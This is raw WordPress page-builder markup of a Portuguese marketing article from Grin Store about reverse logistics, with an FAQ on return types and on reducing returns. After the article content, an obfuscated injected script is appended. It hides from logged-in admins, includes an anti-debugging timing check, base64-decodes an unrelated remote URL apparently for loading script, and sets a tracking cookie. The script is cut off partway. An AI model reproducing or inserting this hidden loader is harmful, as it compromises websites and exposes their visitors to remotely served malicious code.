type=&#8221;in_container&#8221; full_screen_row_position=&#8221;middle&#8221; column_margin=&#8221;default&#8221; column_direction=&#8221;default&#8221; column_direction_tablet=&#8221;default&#8221; column_direction_phone=&#8221;default&#8221; scene_position=&#8221;center&#8221; text_color=&#8221;dark&#8221; text_align=&#8221;left&#8221; row_border_radius=&#8221;none&#8221; row_border_radius_applies=&#8221;bg&#8221; overflow=&#8221;visible&#8221; advanced_gradient_angle=&#8221;0&#8243; overlay_strength=&#8221;0.3&#8243; gradient_direction=&#8221;left_to_right&#8221; shape_divider_position=&#8221;bottom&#8221; bg_image_animation=&#8221;none&#8221; gradient_type=&#8221;default&#8221; shape_type=&#8221;&#8221;][vc_column column_padding=&#8221;no-extra-padding&#8221; column_padding_tablet=&#8221;inherit&#8221; column_padding_phone=&#8221;inherit&#8221; column_padding_position=&#8221;all&#8221; column_element_spacing=&#8221;default&#8221; background_color_opacity=&#8221;1&#8243; background_hover_color_opacity=&#8221;1&#8243; column_shadow=&#8221;none&#8221; column_border_radius=&#8221;none&#8221; column_link_target=&#8221;_self&#8221; column_position=&#8221;default&#8221; gradient_direction=&#8221;left_to_right&#8221; overlay_strength=&#8221;0.3&#8243; width=&#8221;1\/1&#8243; tablet_width_inherit=&#8221;default&#8221; tablet_text_alignment=&#8221;default&#8221; phone_text_alignment=&#8221;default&#8221; animation_type=&#8221;default&#8221; bg_image_animation=&#8221;none&#8221; border_type=&#8221;simple&#8221; column_border_width=&#8221;none&#8221; column_border_style=&#8221;solid&#8221;][vc_column_text]\n<h2><span style=\"color: #4f953b;\">O que achou das vantagens da log\u00edstica reversa? <\/span><\/h2>\n<p><span style=\"font-weight: 400;\">Ap\u00f3s diferenciar os modelos de log\u00edstica reversa, explicamos a import\u00e2ncia de investir na log\u00edstica reversa p\u00f3s-venda para a sa\u00fade financeira da empresa e como \u00e9 poss\u00edvel usar isso como estrat\u00e9gia para agregar benef\u00edcios.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Assim, a sua empresa contar\u00e1 com servi\u00e7o de qualidade, reduzir\u00e1 custos e aumentar\u00e1 chance de atrair novos clientes.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Saiba mais sobre as solu\u00e7\u00f5es log\u00edsticas e as vantagens da log\u00edstica reversa que a sua empresa consegue ao contratar os servi\u00e7os das Dark Stores da Grin Store.<\/span>[\/vc_column_text][\/vc_column][\/vc_row][vc_row type=&#8221;full_width_background&#8221; full_screen_row_position=&#8221;middle&#8221; column_margin=&#8221;default&#8221; column_direction=&#8221;default&#8221; column_direction_tablet=&#8221;default&#8221; column_direction_phone=&#8221;default&#8221; scene_position=&#8221;center&#8221; text_color=&#8221;dark&#8221; text_align=&#8221;left&#8221; row_border_radius=&#8221;none&#8221; row_border_radius_applies=&#8221;bg&#8221; overflow=&#8221;visible&#8221; advanced_gradient_angle=&#8221;0&#8243; overlay_strength=&#8221;0.3&#8243; gradient_direction=&#8221;left_to_right&#8221; shape_divider_position=&#8221;bottom&#8221; bg_image_animation=&#8221;none&#8221; gradient_type=&#8221;default&#8221; shape_type=&#8221;&#8221;][vc_column column_padding=&#8221;padding-2-percent&#8221; column_padding_tablet=&#8221;inherit&#8221; column_padding_phone=&#8221;inherit&#8221; column_padding_position=&#8221;all&#8221; column_element_spacing=&#8221;default&#8221; centered_text=&#8221;true&#8221; background_color=&#8221;rgba(214,224,213,0.37)&#8221; background_color_opacity=&#8221;1&#8243; background_hover_color_opacity=&#8221;1&#8243; background_image=&#8221;2707&#8243; background_image_position=&#8221;center bottom&#8221; background_image_loading=&#8221;default&#8221; column_shadow=&#8221;small_depth&#8221; column_border_radius=&#8221;10px&#8221; column_link_target=&#8221;_self&#8221; column_position=&#8221;default&#8221; advanced_gradient_angle=&#8221;0&#8243; gradient_direction=&#8221;left_to_right&#8221; overlay_strength=&#8221;0.3&#8243; width=&#8221;1\/1&#8243; tablet_width_inherit=&#8221;default&#8221; tablet_text_alignment=&#8221;default&#8221; phone_text_alignment=&#8221;default&#8221; animation_type=&#8221;default&#8221; bg_image_animation=&#8221;none&#8221; border_type=&#8221;simple&#8221; column_border_width=&#8221;none&#8221; gradient_type=&#8221;default&#8221;][vc_row_inner content_placement=&#8221;middle&#8221; column_margin=&#8221;default&#8221; column_direction=&#8221;default&#8221; column_direction_tablet=&#8221;default&#8221; column_direction_phone=&#8221;default&#8221; text_align=&#8221;left&#8221; row_position=&#8221;default&#8221; row_position_tablet=&#8221;inherit&#8221; row_position_phone=&#8221;inherit&#8221; overflow=&#8221;visible&#8221; pointer_events=&#8221;all&#8221;][vc_column_inner column_padding=&#8221;padding-2-percent&#8221; column_padding_tablet=&#8221;inherit&#8221; column_padding_phone=&#8221;inherit&#8221; column_padding_position=&#8221;bottom&#8221; column_element_spacing=&#8221;default&#8221; background_color_opacity=&#8221;1&#8243; background_hover_color_opacity=&#8221;1&#8243; font_color=&#8221;#002626&#8243; column_shadow=&#8221;none&#8221; column_border_radius=&#8221;none&#8221; column_link_target=&#8221;_self&#8221; advanced_gradient_angle=&#8221;0&#8243; gradient_direction=&#8221;left_to_right&#8221; overlay_strength=&#8221;0.3&#8243; width=&#8221;1\/1&#8243; tablet_width_inherit=&#8221;default&#8221; animation_type=&#8221;default&#8221; bg_image_animation=&#8221;none&#8221; border_type=&#8221;simple&#8221; column_border_width=&#8221;none&#8221; column_border_style=&#8221;solid&#8221; gradient_type=&#8221;default&#8221;][divider line_type=&#8221;No Line&#8221; custom_height=&#8221;5&#8243;][vc_column_text]\n<h4 align=\"center\"><strong>Converse com um consultor da Grin Store<\/strong><\/h4>\n[\/vc_column_text][divider line_type=&#8221;No Line&#8221; custom_height=&#8221;2vh&#8221;][nectar_btn size=&#8221;medium&#8221; open_new_tab=&#8221;true&#8221; button_style=&#8221;regular&#8221; button_color_2=&#8221;Accent-Color&#8221; color_override=&#8221;#4f953b&#8221; solid_text_color_override=&#8221;#ffffff&#8221; icon_family=&#8221;none&#8221; text=&#8221;Entre em contato!&#8221; margin_top=&#8221;3%&#8221; margin_bottom=&#8221;3%&#8221; margin_left=&#8221;10%&#8221; margin_right=&#8221;10%&#8221; url=&#8221;https:\/\/www.grinstore.com.br\/contato.php&#8221;][\/vc_column_inner][\/vc_row_inner][\/vc_column][\/vc_row][vc_row type=&#8221;in_container&#8221; full_screen_row_position=&#8221;middle&#8221; column_margin=&#8221;default&#8221; column_direction=&#8221;default&#8221; column_direction_tablet=&#8221;default&#8221; column_direction_phone=&#8221;default&#8221; scene_position=&#8221;center&#8221; text_color=&#8221;dark&#8221; text_align=&#8221;left&#8221; row_border_radius=&#8221;none&#8221; row_border_radius_applies=&#8221;bg&#8221; overflow=&#8221;visible&#8221; overlay_strength=&#8221;0.3&#8243; gradient_direction=&#8221;left_to_right&#8221; shape_divider_position=&#8221;bottom&#8221; bg_image_animation=&#8221;none&#8221;][vc_column column_padding=&#8221;no-extra-padding&#8221; column_padding_tablet=&#8221;inherit&#8221; column_padding_phone=&#8221;inherit&#8221; column_padding_position=&#8221;all&#8221; column_element_spacing=&#8221;default&#8221; background_color_opacity=&#8221;1&#8243; background_hover_color_opacity=&#8221;1&#8243; column_shadow=&#8221;none&#8221; column_border_radius=&#8221;none&#8221; column_link_target=&#8221;_self&#8221; column_position=&#8221;default&#8221; gradient_direction=&#8221;left_to_right&#8221; overlay_strength=&#8221;0.3&#8243; width=&#8221;1\/1&#8243; tablet_width_inherit=&#8221;default&#8221; tablet_text_alignment=&#8221;default&#8221; phone_text_alignment=&#8221;default&#8221; animation_type=&#8221;default&#8221; bg_image_animation=&#8221;none&#8221; border_type=&#8221;simple&#8221; column_border_width=&#8221;none&#8221; column_border_style=&#8221;solid&#8221;][divider line_type=&#8221;No Line&#8221; custom_height=&#8221;25&#8243;][vc_column_text]Se voc\u00ea gostou do artigo,<strong> compartilhe<\/strong> esse conte\u00fado com mais pessoas![\/vc_column_text][\/vc_column][\/vc_row][vc_row type=&#8221;in_container&#8221; full_screen_row_position=&#8221;middle&#8221; column_margin=&#8221;default&#8221; column_direction=&#8221;default&#8221; column_direction_tablet=&#8221;default&#8221; column_direction_phone=&#8221;default&#8221; scene_position=&#8221;center&#8221; text_color=&#8221;dark&#8221; text_align=&#8221;left&#8221; row_border_radius=&#8221;none&#8221; row_border_radius_applies=&#8221;bg&#8221; overflow=&#8221;visible&#8221; overlay_strength=&#8221;0.3&#8243; gradient_direction=&#8221;left_to_right&#8221; shape_divider_position=&#8221;bottom&#8221; bg_image_animation=&#8221;none&#8221;][vc_column column_padding=&#8221;no-extra-padding&#8221; column_padding_tablet=&#8221;inherit&#8221; column_padding_phone=&#8221;inherit&#8221; column_padding_position=&#8221;all&#8221; column_element_spacing=&#8221;default&#8221; background_color_opacity=&#8221;1&#8243; background_hover_color_opacity=&#8221;1&#8243; column_shadow=&#8221;none&#8221; column_border_radius=&#8221;none&#8221; column_link_target=&#8221;_self&#8221; column_position=&#8221;default&#8221; gradient_direction=&#8221;left_to_right&#8221; overlay_strength=&#8221;0.3&#8243; width=&#8221;1\/1&#8243; tablet_width_inherit=&#8221;default&#8221; tablet_text_alignment=&#8221;default&#8221; phone_text_alignment=&#8221;default&#8221; animation_type=&#8221;default&#8221; bg_image_animation=&#8221;none&#8221; border_type=&#8221;simple&#8221; column_border_width=&#8221;none&#8221; column_border_style=&#8221;solid&#8221;]<div class=\"sharing-default-minimal\"><div class=\"nectar-social default\" data-position=\"left\" data-color-override=\"override\"><div class=\"nectar-social-inner\"><a class='facebook-share nectar-sharing' href='#' title='Share this'>  <i class='fa fa-facebook'><\/i> <span class='social-text'>Share<\/span> <\/a><a class='twitter-share nectar-sharing' href='#' title='Tweet this'> <i class='fa fa-twitter'><\/i> <span class='social-text'>Tweet<\/span> <\/a><a class='linkedin-share nectar-sharing' href='#' title='Share this'> <i class='fa fa-linkedin'><\/i> <span class='social-text'>Share<\/span> <\/a><a class='pinterest-share nectar-sharing' href='#' title='Pin this'> <i class='fa fa-pinterest'><\/i> <span class='social-text'>Pin<\/span> <\/a><\/div><\/div><\/div>[\/vc_column][\/vc_row][vc_row type=&#8221;in_container&#8221; full_screen_row_position=&#8221;middle&#8221; column_margin=&#8221;default&#8221; column_direction=&#8221;default&#8221; column_direction_tablet=&#8221;default&#8221; column_direction_phone=&#8221;default&#8221; scene_position=&#8221;center&#8221; text_color=&#8221;dark&#8221; text_align=&#8221;left&#8221; row_border_radius=&#8221;none&#8221; row_border_radius_applies=&#8221;bg&#8221; overflow=&#8221;visible&#8221; id=&#8221;duvidas-frequentes&#8221; advanced_gradient_angle=&#8221;0&#8243; overlay_strength=&#8221;0.3&#8243; gradient_direction=&#8221;left_to_right&#8221; shape_divider_position=&#8221;bottom&#8221; bg_image_animation=&#8221;none&#8221; gradient_type=&#8221;default&#8221; shape_type=&#8221;&#8221;][vc_column column_padding=&#8221;no-extra-padding&#8221; column_padding_tablet=&#8221;inherit&#8221; column_padding_phone=&#8221;inherit&#8221; column_padding_position=&#8221;all&#8221; column_element_spacing=&#8221;default&#8221; background_color_opacity=&#8221;1&#8243; background_hover_color_opacity=&#8221;1&#8243; column_shadow=&#8221;none&#8221; column_border_radius=&#8221;none&#8221; column_link_target=&#8221;_self&#8221; column_position=&#8221;default&#8221; gradient_direction=&#8221;left_to_right&#8221; overlay_strength=&#8221;0.3&#8243; width=&#8221;1\/1&#8243; tablet_width_inherit=&#8221;default&#8221; tablet_text_alignment=&#8221;default&#8221; phone_text_alignment=&#8221;default&#8221; animation_type=&#8221;default&#8221; bg_image_animation=&#8221;none&#8221; border_type=&#8221;simple&#8221; column_border_width=&#8221;none&#8221; column_border_style=&#8221;solid&#8221;][vc_column_text]\n<h2><span style=\"color: #4f953b;\">D\u00favidas frequentes sobre as vantagens da log\u00edstica reversa:<\/span><\/h2>\n[\/vc_column_text][\/vc_column][\/vc_row][vc_row type=&#8221;in_container&#8221; full_screen_row_position=&#8221;middle&#8221; column_margin=&#8221;default&#8221; column_direction=&#8221;default&#8221; column_direction_tablet=&#8221;default&#8221; column_direction_phone=&#8221;default&#8221; scene_position=&#8221;center&#8221; text_color=&#8221;dark&#8221; text_align=&#8221;left&#8221; row_border_radius=&#8221;none&#8221; row_border_radius_applies=&#8221;bg&#8221; overflow=&#8221;visible&#8221; overlay_strength=&#8221;0.3&#8243; gradient_direction=&#8221;left_to_right&#8221; shape_divider_position=&#8221;bottom&#8221; bg_image_animation=&#8221;none&#8221;][vc_column column_padding=&#8221;no-extra-padding&#8221; column_padding_tablet=&#8221;inherit&#8221; column_padding_phone=&#8221;inherit&#8221; column_padding_position=&#8221;all&#8221; column_element_spacing=&#8221;default&#8221; background_color_opacity=&#8221;1&#8243; background_hover_color_opacity=&#8221;1&#8243; column_shadow=&#8221;none&#8221; column_border_radius=&#8221;none&#8221; column_link_target=&#8221;_self&#8221; column_position=&#8221;default&#8221; gradient_direction=&#8221;left_to_right&#8221; overlay_strength=&#8221;0.3&#8243; width=&#8221;1\/1&#8243; tablet_width_inherit=&#8221;default&#8221; tablet_text_alignment=&#8221;default&#8221; phone_text_alignment=&#8221;default&#8221; animation_type=&#8221;default&#8221; bg_image_animation=&#8221;none&#8221; border_type=&#8221;simple&#8221; column_border_width=&#8221;none&#8221; column_border_style=&#8221;solid&#8221;][toggles style=&#8221;default&#8221;][toggle color=&#8221;Default&#8221; title=&#8221;O que \u00e9 log\u00edstica reversa?&#8221;][vc_column_text]<span style=\"font-weight: 400;\">Existem 3 tipos de log\u00edstica reversa: p\u00f3s-venda, p\u00f3s-consumo e reuso.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">O p\u00f3s-consumo envolve o envio de materiais e res\u00edduos ap\u00f3s o cliente ter usufru\u00eddo do produto para: descarte de forma segura e ecologicamente correta ou reciclagem e reaproveitamento.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">No reuso, o produto j\u00e1 foi e continuar\u00e1 sendo usado ap\u00f3s revenda a um novo cliente. J\u00e1 o p\u00f3s-venda \u00e9 a devolu\u00e7\u00e3o ou troca de um produto devido defeito, erro ou arrependimento de compra.<\/span>[\/vc_column_text][\/toggle][toggle color=&#8221;Default&#8221; title=&#8221;Qual a import\u00e2ncia da log\u00edstica reversa?&#8221;][vc_column_text]<span style=\"font-weight: 400;\">O processo da devolu\u00e7\u00e3o e troca afeta a experi\u00eancia e satisfa\u00e7\u00e3o do cliente, por isso, \u00e9 uma fase delicada que precisa de aten\u00e7\u00e3o e informa\u00e7\u00f5es claras sobre prazos e condi\u00e7\u00f5es para a devolu\u00e7\u00e3o em uma \u00e1rea espec\u00edfica do site. Al\u00e9m disso, conforme direito do cliente, ele pode se arrepender da compra em at\u00e9 dias e neste caso o processo da log\u00edstica reversa \u00e9 custeado pela empresa.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">A log\u00edstica reversa pode afetar o financeiro da empresa, por isso, o ideal \u00e9 investir em planejamentos e estrat\u00e9gias para diminuir os custos e o impacto antes das perdas afetarem a empresa pelo gasto com o processo da log\u00edstica reversa e pela perda de clientes. <\/span>[\/vc_column_text][\/toggle][toggle color=&#8221;Default&#8221; title=&#8221;Como diminuir as taxas de devolu\u00e7\u00e3o, trocas e log\u00edstica reversa?&#8221;][vc_column_text]<span style=\"font-weight: 400;\">Para diminuir as taxas de devolu\u00e7\u00e3o, trocas e solicita\u00e7\u00e3o de log\u00edstica reversa p\u00f3s-vendas \u00e9 necess\u00e1rio: planejamento e uma estrutura eficiente. A sua empresa tem como alternativas:\u00a0<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Melhorar a apresenta\u00e7\u00e3o e descri\u00e7\u00e3o dos produtos;<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Investir na implementa\u00e7\u00e3o de tecnologia e treinamento de funcion\u00e1rios para aumentar a efici\u00eancia dos processos;<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Acrescentar rota de coleta durante as rotas de entregas;<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Terceirizar a log\u00edstica da empresa a uma especialista como a Grin Store. <\/span><\/li>\n<\/ul>\n[\/vc_column_text][\/toggle][\/toggles][\/vc_column][\/vc_row]<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; 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